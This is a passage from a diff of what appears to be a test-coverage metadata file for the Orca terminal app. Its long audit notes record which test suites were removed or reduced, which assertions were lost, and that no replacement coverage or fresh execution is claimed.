suites. Retire all affected host-fact, capability-owner, activation-residue and retention-cap aliases because the remaining callbacks do not establish those full claims. Keep exact local hook/timer, byte-stream side effects, exit/disposal, scroll-intent cleanup and deterministic local rank/TTL progression callbacks within their mocked-host scope. No physical paired-host retention, resource budget or equivalent replacement evidence is assigned. The generic broad test command remains a runnable discovery command, never a dated execution receipt. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete hook-agent-status projection suite and its two behavioral assertion aliases. Supplied stored hook/title/resume/staleness/rename/question/generation/PTY-retirement/snapshot-version projections are intentionally lost. The separate osc-status-scan gate mentions this source only in existing historical notes and receives no mutation. No measured hidden-output retention, CPU/RSS or resource budget result is claimed by the deleted source or this audit. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Module ownership cleanup retires the modeled cold-park private watcher/render/work-count suites under the current test policy. Their assertions are no longer active evidence. Retained lifecycle tests and headed/headless journeys do not establish equivalent coverage for those removed harness alarms. Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. deletes src/renderer/src/components/terminal-pane/terminal-cold-park-verdict-loop.test.tsx: Loses modeled React oscillation alarm; real pane/watchers are not exercised. deletes src/renderer/src/runtime/remote-runtime-terminal-parse-backpressure.test.ts: Loses delayed credit until parsing, malformed frame/unknown stream handling, discarded transformed output recovery and failed ACK rearm alarms. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1412 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): This audit removes the browser response-after-manual-disconnect example. Its distinct in-flight response fencing alarm is lost; retained queued-call disconnect tests are not an equivalent replacement. Historical commands and results remain historical. Deterministic headed macOS runs launch an isolated Orca desktop server and a separate paired web client. A byte-identical headless run uses an isolated `orca serve` host. Both create six real paired host PTYs with bounded high-output scrollback, prove sustained output while all six client xterms are warm-mounted but hidden causes zero renderer scheduler work, then drive 180 timed real-PTY spinner frames through a second production `session.tabs.subscribeAll` transport and the real Zustand store. Each worktree must publish and apply only its exact initial-working and final-idle titles. Both topologies ordinary-park five xterms without enabling the lossy retention budget, assert bounded cells/heap/timer lag, then restore the bounded authoritative tail exactly once on the original PTY including output produced while parked and continued input/output. The headed oracle additionally keeps every remote target workspace and terminal unmounted in the host renderer before and after client recovery. Production-parity React contracts reproduce and remove the independent cold-park watcher/title feedback loop, including memo-cache discard, StrictMode cleanup replay, detached split-PTY replacement, and the zero-park fast path. A deterministic cross-boundary contract drives 24 real PTY trackers in distinct worktrees through 2,880 decorative spinner and bare-native redraw chunks and counts host publications, serialized bytes, renderer apply calls, and store mutations while preserving exact per-PTY raw chunks and per-worktree semantic transitions. Fake-clock continuation beyond the 30-minute stale boundary requires one deduplicated refresh per worktree every 15 minutes, globally spaced by at least 50 ms, with every mirrored working status still fresh. Exact-identical Pi plus rotating normalized Pi/Grok frames renew coarse working/permission state; rich prompt/tool/question fields retain their original 30-minute lease, and `stateStartedAt`/acknowledgement identity remain stable across title/hook source swaps. A separate headed desktop-client journey relaunches the host main process while retaining the daemon and a daemon-backgrounded PTY, then requires first-observation foreground sync and continued input/output on the same PTY. Unit coverage keeps layout versions out of snapshot output high-waters when a restored snapshot has no output sequence and retries an existing subscriber only after authoritative provider inventory proves the retained PTY exists. Separate headed/headless ACK-starvation tests recover one stalled stream without replacing its PTY. A headed output-drop oracle proves a successful snapshot probe cannot certify a stale live stream when the authoritative PTY sequence advanced beyond the client high-water. Unit coverage requires an unsequenced client to establish a first-probe baseline, remain attached at the same sequence, and recover only after a later probe advances. A capability-disabled run proves legacy hosts retain the prior lossy limit/TTL fallback. Unit tests cover exact-owner capability routing, raw-stream release, singleton side-effect facts with timed handoff cleanup, 64 simultaneous synthetic-title sources with zero decorative client events after convergence, per-client late-subscribe recovery, semantic bell/title transitions, local animation-frame preservation, legacy no-output-pause delivery gating with exact snapshot restore, provider-authoritative snapshots, 128 active streams plus retry after a 129th-stream capacity rejection, capacity-pressure backoff, full split-leaf remint reconciliation, truncation, and manual-disconnect queue fencing. Linux, Windows, live SSH, and production-scale paired hosts remain gaps. The audit removed the E2E parking override/debug-handle suite. Override exposure guards, delay/retention independence, TTL filtering and debug-handle forwarding alarms are lost. Retained real parking journeys do not establish equivalent test-harness configuration coverage. The test-value audit removes separate responsive-stream, intervening-control-frame and capacity-error classification examples. Retained multiplexer checks use fake clocks and captured transport callbacks; their per-stream isolation, deadline and probe-baseline assertions do not prove an actual host restart or equivalent replacement coverage. Historical run commands and results remain historical. The test-value audit removes the standalone retained/live metadata projection and additive-preference negative example from runtime-client-events.test.ts. Its remaining case checks partial-authority event admission through a captured callback; it does not establish full-pair projection, actual peer delivery or equivalent replacement coverage. Historical commands and results remain historical. The isolated accepted-handle-events observer suite is removed. Its runtime/worktree/pane membership, once-only delivery and listener-release ledger alarms are lost. Live hidden-retention evidence does not establish equivalent observer coverage. Audit1292: The entire host-session mirror empty-inventory settle suite is removed. Live-unpublished versus genuinely-empty hydration, same-ID revision response/in-flight fencing and cleared-tracking pending-probe invalidation alarms are lost. The singleton store and inventories were mocked; no real host census or resume delivery or equivalent replacement coverage is claimed. Audit1302: src/main/runtime/session-tabs-inventory-publication.test.ts: Keep actual runtime public inventory authority across renderer epochs/resync, fallback, aborts and invalid graph publishers. Remove copied nonempty publication, private scan counters/collector and known-host replacement, fake refresh that performs the restoration itself, environment capability flag, and private resume-store characterization whose fixture supplies reservation/rollback ordering. Lose isolated refresh/churn/receiver/capability and copied-payload wiring alarms; no equivalent replacement. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1318: src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts: Retain real local encrypted WebSocket regressions for pre-ready socket replacement preserving a request, close-before-ready logical subscription cleanup, unrelated RPC surviving another deadline, and pending setup abort leaving a sibling pending. Host server is synthetic and uses production crypto; kept scenarios also retain internal diagnostics/memory assertions unchanged. Remove happy routing, authority-envelope, unknown-ID/log, cleanup enum, binary, keepalive/liveness and production-budget/private socket inventories; intentionally lose those alarms, no physical host authorization, independent crypto or remote provider claim. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1346 removes the entire private-state-injected session-tabs rich-status boundary suite. Its stale task/question, neutral-title preservation, owner-change and provider-generation alarms are intentionally lost. Retained real terminal journeys do not establish equivalent replacement coverage. The prior mixed 42-contract execution receipt is historical and must not validate the reduced current selector; fresh validation remains required. Audit1352: focused Linux unit selections validated on source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1360: focused Linux unit selections validated on source head 415c9cffc2d10024131ec4b6721767a22195de6d. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1396: src/renderer/src/components/terminal-pane/terminal-parked-watcher-reconciliation.test.ts reduced. Retire standalone reconcile set output and positive untouchedFreshSpawn/workspaceOwner copying alarms; no native watcher execution claim. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1402: src/renderer/src/components/terminal-pane/pty-connection-park-reveal-model-snapshot.spec.ts reduced. Loses basic paired serialize/initial replay forwarding check; hidden alt-frame grid/precedence policy remains. No real terminal renderer claim. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/runtime/mobile-session-tabs-agent-status-heartbeat.test.ts reduced. Loses FIFO fairness/spacing, semantic bypass/cancellation, delayed-boundary scheduling and teardown timer-cleanup alarms. Retained fixed emission cases do not replace those outcomes. No equivalent replacement coverage is claimed. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", "motivatingLinks": [ "https://github.com/stablyai/orca/issues/8652", "https://github.com/stablyai/orca/pull/10625" @@ -8513,7 +8471,7 @@ "providers": ["local", "daemon", "ssh", "remote-runtime"], "coveredPlatforms": ["macos"], "coveredProviders": [], - "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3788 retires10 authored/11 expanded cases across six changed drivers, including the entire screencast pending-frame-retry and usage-source-cache-streaming suites. Deliberate losses are false-refused last-frame retry/once-only delivery, ordinary stable-pane reattachment, cleared-chat Dispatch completion, terminal-declared chat-caller refusal, at-rest worker liveness projection, nested depth/cap policy, small unsigned6/sealed7 plain-format and verified-bit examples, generic malformed-ISIZE footer refusal examples, and synthetic10k/100k chunk-size/work-count budgets in gzip and general cache I/O. These include real state/disk/RPC outcomes consciously retired for marginal value; retained E2EE-backlog, receipt/custody/uncertain-ack, integrity/migration and staging-cleanup cases are not equivalent replacements. The footer test did not prove early rejection or bounded allocation; staging cleanup did not seed unrelated files. No replacement or fresh native/remote/performance execution is claimed. Earlier raw selectors and dated receipts remain historical. Audit3779 retires17 authored/17 expanded registrations across six changed drivers, including the entire shared-Codex-home and prompt-telemetry suites. Accepted losses are shared-home wrapper noninterference/opt-out preservation, mocked metric count/provenance filters, SSH activity labeling/clearing and handover idle timing, VM ownership/capability/status projections and asleep-worktree refusal, a link-only external conversation replay sample, and two narrow input-credit noninterference/expiry examples. Retain the direct exact-tab/single-use input-credit case. These bounded real disk/state/routing alarms are intentionally retired for marginal value without equivalent replacement or fresh execution claims; earlier receipts remain historical. Audit3772 retires18 authored/27 expanded cases, including whole Codex service opt-out, RPC capability-parser, creator-provenance, short-ciphertext and readiness-null suites. Accepted losses include service ledger/symlink/mode cleanup, user TOML substring preservation, old-hash cleanup, description pass-through, malformed-file/pending-hash examples, coordinator write/probe counts, capability array bounds, positive creator projections, early short-payload refusal and readiness helper null shape. Two redundant Codex exit-cause rows are also retired; Pi shares their direct-idle path only in this empty-output immediate-exit fixture, and future agent-config drift coverage is lost. Real bounded filesystem/parser/runtime alarms are deliberately retired for marginal value; no equivalent replacements or fresh execution are claimed. Earlier receipts retain their historical scope. Audits3754/3755 intentionally remove9 authored/9 finite registrations: the entire one-case usage-source-cache-streaming.test.ts driver and8 cases from the surviving computer-action-validation.test.ts driver. This gate retains an unfiltered root Vitest command; UNIT_INCLUDE admits both source paths. Accepted losses are the real encoder output chunk-size/work-count alarm on repetitive10k/100k ownership payloads through a mocked durable sink, plus CLI diagnostic precedence, fractional window-id rejection, action-call-site window-target exclusivity, plain-text click-count recovery copy, incomplete click/drag targeting, mouse/modifier/direction allowlist samples and inline/stdin text exclusivity. These CLI cases exercise real argument/handler validation before mocked runtime calls; they are deliberately retired for marginal value, not declared tautologies. Retained cache I/O and CLI cases are not equivalent replacements for these alarms. Existing historical raw receipts remain unchanged and do not validate the deleted or reduced drivers. No fresh execution claim is made. Audits3758/3763 intentionally remove9 authored/11 finite registrations from6 changed drivers, including the entire pane-title-notification, window-linear-notices and worktree-card-lifecycle-effects suites. This gate retains an unfiltered root Vitest command admitting these paths. Accepted losses are same-account linked-row success-notice fanout, sidebar-switch channel forwarding, Linear-only notification forwarding/non-terminal-consumer selection/closed-window detach, destroyed-window refusal and first-send-failure suspension through the pane-title adapter, the100-card synthetic focus/poll absence sample, stored-source local folder badge refresh, unobserved-row badge refusal, and immediate reposChanged lineage invalidation. These exercise real owners with controlled ports; they are retired for marginal value, without equivalent replacement claims. The no-badge-work fixture does not seed its title-promised collection-only cache. Preserved historical receipts do not validate deleted or reduced drivers; no fresh execution is claimed. Audit3759 retires the entire one-case Tailwind compiler/scanner smoke. Accept loss of the direct CSS production/test/spec source-exclusion and rescan alarm; no replacement or current execution is claimed. Audit3752 independently approves audit3749: retire five authored/five finite watcher-process registrations, retaining18 raw-exact registrations. Accept loss of healthy shared-pool joint recovery, last-pending-failure idle retirement/respawn, late VITEST fallback release, missing-entry fail-closed selection and independent-supervisor fuse locality alarms. These are real bounded host-policy alarms intentionally retired for low marginal value; no equivalent replacement is asserted. Remaining driver selections exercise controlled FakeChild supervisor lifecycle, cancellation, physical-exit fencing, recovery and fuse behavior. This source review supplies no fresh native/process/platform/remote/SSH execution; historical receipts retain original source and selector scopes. Audits3738/3742/3743/3744 intentionally remove15 authored/21 finite registrations from six surviving drivers, with no equivalent replacement or fresh execution claim. This gate retains an unfiltered root Vitest command. Current UNIT_INCLUDE admits the partial push-service, metadata-dialog and two config/scripts browser drivers:10 authored/16 finite removals. Accepted losses: actual retry30s/60s progression and register bucket/refill wiring, explicit seven-day lease arithmetic (its notification lacked seq/epoch and never reached send), equal-name edit latch/save payload, real image/font/meta-refresh/form/popup browser refusal controls, and broad rich-markdown bridge/command/edit-select smoke. Actual production state, callback routing and browser enforcement run in these cases; these alarms are deliberately retired on marginal value. All drivers and selectors survive. Existing unrelated receipts remain historical evidence for their unchanged selectors, not proof of the reduced cases. Audit3732 removes 2 authored/3 finite registrations from two partial suites: nominal custom/Kimi local naming success and deferred context usage row presentation. Real losses: custom/Kimi successful extraction through conversation-name sanitization and agentLabel composition; separate ordered counted/deferred lists and exact percentage/token formatting. No replacement or equivalent coverage claimed. Retain 11 authored/13 finite raw-exact registrations for bounded naming instruction/refusal/cancellation, menu dismissal focus ownership and hover/composer Escape/timer cleanup. Source-only bounded value review, no runtime/CI/native/remote/mobile/folder workspace or global completion credit. Previous account (preserved verbatim): Audit3733 removes2authored/2finite terminal input checks: fixed custom-cap error/secret fixture and three-emoji cap5refusal whose6UTF16units already trip length fast guard (no UTF8-dependent boundary). Accept exact non-disclosure/oversized-refusal alarm losses; no replacement/equivalence claim. Retain13/13scalar/pending input, OSC state and cron DST/cadence outcomes after bounded material reads. Source-only zero runtime/novelty credit; original historical reasons preserved. Previous account (preserved verbatim): Audit3729 removes1authored/3finite by deleting whole CLI runtime pairing advisory-close suite. Accept losing post-real-close injected EIO preservation of native/script/unreadable pairing, env identity/preservation and exact close/release assertions; no actual failed-close leak or replacement coverage claimed. Two retained URL grammar/identity suites11authored16finite raw unchanged. Bounded source/owner/caller value review, zero novelty/runtime credit; other seven3724deferred closures remain. Historical receipts preserve original limits. Previous account (preserved verbatim): Audit3724 removes3authored/3finite checks by deleting two whole suites: TUI clear burst-size singleton and terminal-file-URL target two-case wrapper suite. Deliberate losses: derived widest burst<64byte alarm, UNC authority+line-column anchor composition, and malformed-percent null refusal. Real production algorithms execute in those tests; no mocked-output tautology, equivalent replacement, actual Claude/file-navigation delivery or universal safety-irrelevance claim. TUI58byte bound and URI examples have low marginal value as standalone suites. Actual1262/1264/1742KEEP superseded explicitly. Remaining14drivers83authored136finite raw unchanged. Bounded source-only review; ten closures deferred, four bounded keep judgments repeated with zero new semantic-frontier credit. No runtime/CI/native/remote/mobile/folder/global completion claim; historical receipts retain original scope. Previous account (preserved verbatim): Audit3723 removes 4 authored/4 finite registrations in two whole suites: keybinding cache freeze/token spellings and host-dependent Orca command name examples. Real losses include returned-object freeze, repeated Mod+P key, Space/PageDown/NumpadSubtract mapping, unknown/empty/prototype-token rejection, and headless Linux versus Windows-server/WSL command choice. No equivalent or replacement coverage claimed. Retain 12 authored/21 finite raw-exact registrations exercising generated scaffold validation, artifact failures, shipped editor/hook/worker/panel tests, actual generated typing compilation, independent CLI root routing and intent-name precedence. Source-only bounded audit; no runtime, CI, native, remote, mobile, folder workspace or global completion credit. Previous account (preserved verbatim): Audit3720 removes17authored/23finite checks: whole main catalog-date adapter2 and shared date-helper7, seven renderer nominal ranking/cap/no-date/composition cases, and one browser registration expanding to seven forced-container/DOM-child boundary cases. Deliberate real losses: community oldest-date UTC forwarding, official/undated omission, date sorting/window/invalid/future/skew/clamp and default/override cap; nominal ranking/cap and combined Featured/Newly-added outputs; real CSS459/460,719/720,1055/1056breakpoint, five-card partial-row and720px two-card first-row alarms. Browser cases really measure rendered geometry but force width/remove DOM children; no fake-pixel or tautology rationale. No replacement/equivalent coverage claimed. Retain14authored/19finite raw-exact registrations across4drivers: adversarial featured category/order/tie and installability, date order/window selection, actual PluginManager failure/escaping/duplicate-card suppression, real browser viewport/odd-count geometry/phone catalog visibility, syntax ingress/depth/include/printability and68dlong-bracket auto-close fill-in. No tests/browser/native/UI/provider/remote/mobile/folder/CI/global execution or completion credit. Previous account (preserved verbatim): Audit3717 removes6 authored/6finite checks in two whole thin-adapter/presentation suites. Deliberate real losses: ordinary recipe repository-URL withholding and provisioned-root credential scrubbing/forwarding; repository label lockstep suffix expansion, host-scoped map identity/collision grouping, Windows crosshost paths and WSL distro suffixes. Actual provision options, label/sort consumers and host/scrubber delegates inspected; no replacement/equivalence claim. Retain40 authored/84finite registrations raw exact in14 drivers with bounded owner/context review. Prior KEEP superseded for removed suites; no runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3714 removes8 authored/39finite checks: whole CLI selector-recovery, task display-text and ANSI grammar suites plus two name joiner/blank tables. Deliberate real losses: selector flag/value/identity and mutation recovery merge/serialization; exact task suffix, transcript fallback, input immutability, cache reuse and edited blocks; independent failed-escape/resumption and OSC/DCS/BEL/ST/C1/nested/unfinished stripping outputs; meaningful-language joiner preservation and invisible/blank-name rejection. These are real bounded alarms, removed as narrow supplied-error examples, helper/token inventories and repeated internal-work fixtures. Prior2936,1195/1196,1214/1215 and1082 KEEP superseded; no replacement or equivalent coverage claimed. Keep9authored/9finite raw-exact registrations in5surviving drivers: screenshot export/failure filesystem behavior, CLI local tree query, event-local reply provenance, vault role-sensitive content and four hostile/UTF16/dangling/tag-name regressions. No native/UI/provider/remote/mobile/folder/runtime/CI/global completion credit. Previous account (preserved verbatim): Audit3711 retires2authored/4finite cases by deleting whole clipboard-image-temp-file signature-to-name inventory (HEIC/TIFF/unrecognised bytes) and workspace-last-active switch-on supplied visit/reason singleton, plus its now-orphan test fixture. This intentionally loses real generated-filename suffix/extensionless alarms and real newer-visit archived7day versus inactive30day filtering/older-visit identity alarms. Filesystem writing and production reason pruning really execute; no equivalent replacement or universal absence of safety relevance is claimed. The clipboard test does not inspect written bytes, native delivery or decode; the visit test supplies candidate/timestamps and does not exercise persisted visit routing or actual removal.20authored/20finite cases remain unchanged across4bounded Git/sidecar/removal drivers. No new runner/test/module evaluation or runtime result; historical notes and receipts remain historical. Previous account (preserved verbatim): Audit3707 removes10 authored/11finite checks: three whole renderer adapter/assembled-stage suites and two native projection cases. Deliberate losses: plugin URL/ref/default-version/local-path and unsafe credential refusal forwarding; real Task hook/store A→B→A late-save/list/count fences, owner disappearance, legacy-host convergence, query/history/eviction and same-ID host history; native child append ordered-ID/replacement and compound fallback/order/optimistic-admission/child-turn/duplicate/shrink/revision alarms. These are real bounded alarms; removal follows thin adapter, manually assembled Task pipeline and repetitive fixture value judgment, with no replacement or equivalent coverage claim. Prior1179/1182,1220/1221 and1885 KEEP superseded as applicable. Keep36 authored/38finite registrations raw exact across13 surviving drivers. No runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3706 removes7authored/7potential cases from3renderer sources: whole usage-label3case and130000-distinct-day usage-overview singleton suites, plus3SSH grouping/ordinary-range examples. Retain11authored/11potential cases across6drivers in this bounded selection; no equivalent replacement or fresh runtime result. Existing bare root-unit commands admit this selection statically; prior command/receipt strings remain historical. Audit3706 intentionally retires first/second-order usage-group label collision alarms; equal50%-weekly bucket versus derived-weekly selection identity and Gemini wk label alarm;130000distinct-day aggregation no-spread-crash/max/intensity alarm; legacy absent-source SSH grouping and ordinary reverse-select/selected-target deselect range alarms. Actual label ambiguity and pathological-input crash are accepted losses. Distinct-day fixture spans~356years; no hard producer/date bound is claimed. Retained filtered-anchor/grouped-order guards do not replace removed deselection/reverse-range/legacy-group coverage. No native SSH, mounted renderer, live provider, remote/folder/mobile end-to-end or current runtime pass was obtained. Previous account (preserved verbatim): Audit3699 removes4 authored/4finite checks, including one whole xterm copy-policy suite and one root/group CLI help case. Deliberate losses: direct copy-chord admission for platform, selection, Kitty mode, defaultPrevented, logical/physical key and key phase; command-group disclosure and group help routing including claude-teams early return without RuntimeClient construction. These are real bounded policy/wiring alarms; no replacement or equivalent coverage claimed. Retain14 authored/19finite raw-exact registrations across6 drivers: unsafe CLI refusal, Claude model event carry and disk reconstruction/OSC-first case, attachment ownership/upload lifetime and mixed BMP file-reference/PNG-chip delivery, actual SQLite authority/admission/mutation, and Electron geometry/hit-testing. No runtime, CI, native-key delivery, external provider, mobile, remote, folder or global completion credit. Previous account (preserved verbatim): Audit3692 removes5 authored/5finite marginal Codex checks: unrelated login URL without notice; ordinary per-account launch resource/config materialization; no-retained-pane skip; preservation of a previously owed full scan through actual preparation and pending-marker update (no actual history scan/settlement); ordinary later-config refresh. Accept these exact branch/wiring alarms as deliberate losses without replacement. Retain32 authored/34finite raw callbacks/registrations/table bytes exact across14suites, including credential/admission refusal, grace/reset readiness, filesystem ownership, commit-dependent queue state, streaming/host trust, path canonicalization and private-state preservation. All14whole suites challenged without keeper quota; no whole deletion warranted on current concrete signals. No runtime/CI/native WSL/remote/mobile/folder/global completion credit Previous account (preserved verbatim): Audit3691 removes two complete runtime-home routing singleton suites (2 authored/2 finite): catalog wrapper mirror login-copy and passive transcript-lookup filesystem noncreation. Exact accepted losses are recorded in knownGaps; no replacement or equivalent coverage claimed. Audit3691: no dedicated alarm remains in the deleted sources for post-launch system login import through prepareHostCodexHomeForReadOnlyAppServer, or for repeated missing-transcript lookups leaving removed Codex account/runtime directories absent and userData entries unchanged. Ownership-marker read avoidance was never independently measured. No real catalog probe, provider, native Windows or crash was validated by those fixtures. Previous account (preserved verbatim): Audit3686 current Claude profile/account review removes5 authored/5 finite cases: whole structured-auth diagnostic-label suite3 and Windows-only command suite1 whose advertised cache alarm is ineffective because cache lifetime is per invocation; remove duplicate setup namespace-link refusal1 at wrapper layer. All5 exact historical KEEP are consciously superseded. Retain49 authored/50 finite unchanged, including filesystem privacy/recovery, route identity and concurrency, built worker/helper, legacy WSL alias compatibility and sign-in handoff. These are deliberate coverage losses without replacement. No runtime/CI/native WSL/macOS Keychain, remote/mobile/folder or global completion credit. Explicit accepted real losses: unknown-account host fallback and mixed-version/WSL-only structured auth diagnostic labels; Windows-only sentinel ENOENT-to-friendly-error translation plus fresh-call successful dispatch smoke; setup catch-to-refused wrapper and no-write outcome for a namespace symlink. The command case does not discriminate removal of its per-invocation noncache guard; it still supplies the error-translation alarm, which is intentionally retired. No replacement/equivalence promise. Previous account (preserved verbatim): Audit3680 removes eleven authored/eleven finite unit cases across four files, including entire launch setup row projection, structured legacy-model metadata, and legacy classifier suites. Accept loss of exact row partition/start selection, Codex supersession/default/unknown and Claude alias/suffix folding examples, other-agent exemption, getter/cache read budgets, same-array per-agent cache isolation, replaced-catalog metadata, and tracked-only model exclusion from structured and PTY legacy inventories. These are real narrow policy/metadata alarms intentionally retired without equivalent replacements. Retain real menu collapse/reopen in dropdown/select, AI picker cancel/accept and stale-effort filing, IME carry/gesture/frame transitions, and typed-flip versus held-dispatch fencing. No production or shared fixtures change. No dead timing entry exists for the three deleted drivers; retained timing keys stay unchanged. Static source-value review only; no project import, test runner, native/app execution or runtime validation established. Earlier receipts retain historical scope. Previous account (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous account (preserved verbatim): Audit3672 renewed by3676 removes four authored/four finite cases from federation-output.test.ts: nominal show/read routing and terminal-fallback projection; initial archive-table SELECT failure returning retained/no-close; simulated old-peer read/fleet/refusal and method inventory; and absent archive-release capability refusing release. These actual compatibility/guard alarms are intentionally lost without equivalent replacement; the dropped-table case never reaches capture or commit. Current selected frontier9 becomes5: retain actual temporary transcript parsing/path omission, current no-transcript release/unavailable-output/restart/replay regression, and three home deadline/stop nonmutation cases. Prior held-capture case was already removed upstream and receives no new removal credit; prior redacted snapshot archive behavior was rewritten upstream and is not claimed retained here. The surviving driver timing entry stays. Static review/private composition only; no actual peer/network/native/platform or fresh runtime validation. Previous account (preserved verbatim): Audit3671 removes14 authored/32 finite root-unit cases, including the whole WSL move-handler refusal suite, WSL preload object-presence suite and internal gate spelling truth table. Also retire the weak withheld-command non-array shape assertion, static serve-only 